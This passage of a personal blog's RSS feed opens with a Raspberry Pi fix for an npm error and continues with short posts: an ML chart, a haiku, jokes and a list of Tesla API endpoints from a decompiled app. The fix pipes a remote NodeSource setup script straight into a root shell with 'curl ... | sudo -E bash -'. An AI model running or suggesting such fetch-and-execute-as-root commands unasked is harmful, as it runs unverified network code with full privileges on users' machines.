&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@pi-server:/var/lib/grafana/plugins/grafana-trackmap-panel# npm install
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;node:4538&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt;DEP0022&lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt; DeprecationWarning: os.tmpDir&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;()&lt;/span&gt; is deprecated. Use os.tmpdir&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;()&lt;/span&gt; instead.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR! Error: Method Not Allowed
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR!     at errorResponse &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;/usr/share/npm/lib/cache/add-named.js:260:10&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR!     at /usr/share/npm/lib/cache/add-named.js:203:12
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR!     at saved &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;/usr/share/npm/node&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;modules/npm-registry-client/lib/get.js:167:7&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR!     at FSReqWrap.oncomplete &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;fs.js:135:15&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR! If you need help, you may report this &lt;span style=&#34;color:#8aadf4&#34;&gt;\*&lt;/span&gt;entire&lt;span style=&#34;color:#8aadf4&#34;&gt;\*&lt;/span&gt; log,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR! including the npm and node versions, at:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR!     &amp;lt;http://github.com/npm/npm/issues&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR! System Linux 4.19.57-v7+
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR! &lt;span style=&#34;color:#91d7e3&#34;&gt;command&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/usr/bin/node&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/usr/bin/npm&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;install&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR! cwd /var/lib/grafana/plugins/grafana-trackmap-panel
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR! node -v v8.11.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR! npm -v 1.4.21
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR! code E405
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR!
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR! Additional logging details can be found in:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR!     /var/lib/grafana/plugins/grafana-trackmap-panel/npm-debug.log
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm ERR! not ok code &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@pi-server:/var/lib/grafana/plugins/grafana-trackmap-panel#&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Again, like I said not very helpful. But I finally got to be able to fix it and move on. And here is what worked for me, and it seems like in the OS image, there was a corrupted files, at some level. In most cases you need root access.&lt;/p&gt;
&lt;p&gt;Step 1: Remove and clean up NodeJS.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get remove nodejs nodejs-legacy nodered&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Step 2: Get the latest stable source.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sL https://deb.nodesource.com/setup&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$NODE&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;STABLE&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;BRANCH | sudo -E bash -
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install -y nodejs
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm install -g npm@latest&lt;span style=&#34;color:#8aadf4&#34;&gt;\\&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I also noticed sometimes the commands above don&amp;rsquo;t work. If that is the case then then try the following, to get the latest.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sL https://deb.nodesource.com/setup&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;9.x | sudo -E bash -
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install -y nodejs
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm install -g npm@latest&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And based on your dependencies, v9 might not work and you need v8 then you change the first line as following Or for the latest:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sL https://deb.nodesource.com/setup&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;8.x | sudo -E bash -
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install -y nodejs
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm install -g npm@latest&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And finally in the end install and start.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm install &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; npm start&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And if you do need to check for the update and get the latest, then try:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo npm install -g npm@latest&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>ML Algorithms</title>
      <link>/post/2019/06/ml-algorithms/</link>
      <pubDate>Thu, 13 Jun 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/06/ml-algorithms/</guid>
      <description>&lt;p&gt;Sometimes one needs a quick snapshot of what are the options to think through and I really like this for that.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/MachineLearningAlgorithms.png&#34; alt=&#34;Machine Learning Algorithms&#34;/&gt;
        &lt;figcaption&gt;Machine Learning Algorithms&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Geek Haiku 3 - Streaming Chaos</title>
      <link>/post/2019/05/geek-haiku-3-streaming-chaos/</link>
      <pubDate>Fri, 17 May 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/05/geek-haiku-3-streaming-chaos/</guid>
      <description>&lt;p&gt;&lt;em&gt;Rain drops as I dive,&lt;br&gt;
into packet stream; Chaos.&lt;br&gt;
Malicious patterns.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;#Haiku #GeekHaiku&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Machine Learning 101</title>
      <link>/post/2019/05/machine-learning-101/</link>
      <pubDate>Thu, 16 May 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/05/machine-learning-101/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Atom</title>
      <link>/post/2019/05/atom-3/</link>
      <pubDate>Fri, 03 May 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/05/atom-3/</guid>
      <description>&lt;p&gt;Never trust an atom, they make up everything. 🤓&lt;/p&gt;
&lt;p&gt;#GeekyJokes&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Programming</title>
      <link>/post/2019/05/programming/</link>
      <pubDate>Thu, 02 May 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/05/programming/</guid>
      <description>&lt;p&gt;A key virtue of a programmer is laziness. As an example it is what inspires me to automate my home to the point where I don&amp;rsquo;t have to lift a finger to switch on the light. Removing friction from a system is a anesthetic joy. The drug of efficiency, feels really good.&lt;/p&gt;
&lt;p&gt;I still write code and people get surprised by that sometimes - maybe it&amp;rsquo;s the quality of the code 🤓.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Tesla REST APIs v3.8.2</title>
      <link>/post/2019/04/tesla-rest-apis-v3-8-2/</link>
      <pubDate>Sat, 20 Apr 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/04/tesla-rest-apis-v3-8-2/</guid>
      <description>&lt;p&gt;It has been a while since I played with the various Tesla endpoint (APIs) - been too busy and haven&amp;rsquo;t had the time. I de-compiled the Tesla app and noticed a few new things in there - or at least new to me.&lt;/p&gt;
&lt;p&gt;The following are the ones which seem new and stand out. How exactly some of these are used, can only be one&amp;rsquo;s guess, but I can certainly infer a few things from this.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VEHICLE_DATA_LEGACY - So this seems to be the &amp;lsquo;old&amp;rsquo; end point, hence the legacy. The new endpoint is now at &lt;code&gt;&#39;VEHICLE_DATA&#39;&lt;/code&gt; which seems to return a combined (some) vehicle information, and, consolidate data state of the vehicle. This seems to be cleaner than the earlier version where it was too isolated and multiple calls.&lt;/li&gt;
&lt;li&gt;NEARBY_CHARGING_SITES - The name says it all - returns a list of Tesla chargers close by (both superchargers, and destination chargers).&lt;/li&gt;
&lt;li&gt;Media - there are a few media controls that are outlined below. I think these were part of earlier updates when a passenger could control the media playback from their phone. Most of the names are self explanatory and I skipped outlining them below.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MEDIA\_NEXT\_TRACK&lt;/code&gt; and &lt;code&gt;MEDIA\_PREVIOUS\_TRACK&lt;/code&gt; - plays the next and previous track respectively.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MEDIA\_NEXT\_FAVORITE&lt;/code&gt; and &lt;code&gt;MEDIA\_PREVIOUS\_FAVORITE&lt;/code&gt; - This skips to the next / previous favourite station (different from the track).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;DEACTIVATE_DEVICE_TOKEN - This is new but I am not sure how this is different from &lt;code&gt;REVOKE_AUTH_TOKEN&lt;/code&gt;. What kind of devices is this looking to revoke? AFAIK, it doesn&amp;rsquo;t seem to be related to the Powerwall.&lt;/li&gt;
&lt;li&gt;ROADSIDE_ASSISTANCE_DATA - Intrigued seeing this and not sure what data it is sending (need to spend more time writing code to examine the output of the API). I wonder if this is related to the ETA details that might be pushed out (see &lt;a
	
		href = &#34;https://twitter.com/elonmusk/status/1064529656076886016?ref_src=twsrc%5Etfw&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Elon&amp;rsquo;s tweet
	&lt;/span&gt;
&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;SET_SENTRY_MODE - As the name suggests, this toggles Sentry mode for the car.&lt;/li&gt;
&lt;li&gt;Software updates (from the phone) - as expected a couple of API&amp;rsquo;s to start and cancel software updates - &lt;code&gt;SCHEDULE_SOFTWARE_UPDATE&lt;/code&gt;, &lt;code&gt;CANCEL_SOFTWARE_UPDATE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;REMOTE_SEAT_HEATER_REQUEST - Switching on the seat heating in the car. I presume there will be parameters on which seat, and the setting for each of the seats.&lt;/li&gt;
&lt;li&gt;REFERRAL_DATA - I would be interested to see what this shows and how it is changing on the backend given that Tesla can&amp;rsquo;t seem to make up their mind on how to run this and keep changing it adhoc.&lt;/li&gt;
&lt;li&gt;Message Center - there are a bunch of API&amp;rsquo;s that are around message center and I wonder what that exactly means. Is it messages in the app (you know, the Inbox that you have seen), or is it something new coming out on the screen in the car. (e.g. &lt;code&gt;MESSAGE_CENTER_MESSAGE&lt;/code&gt;, &lt;code&gt;MESSAGE_CENTER_MESSAGE_ACTION_UPDATE&lt;/code&gt;, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I have the full output pasted below for you to have a look . This is as of v3.8.2 and it includes not just the car, but the powerwall, and the charging sites (both destination and superchargers).&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;  1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;  2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;  3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;  4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;  5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;  6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;  7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;  8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;  9&lt;/a&gt;
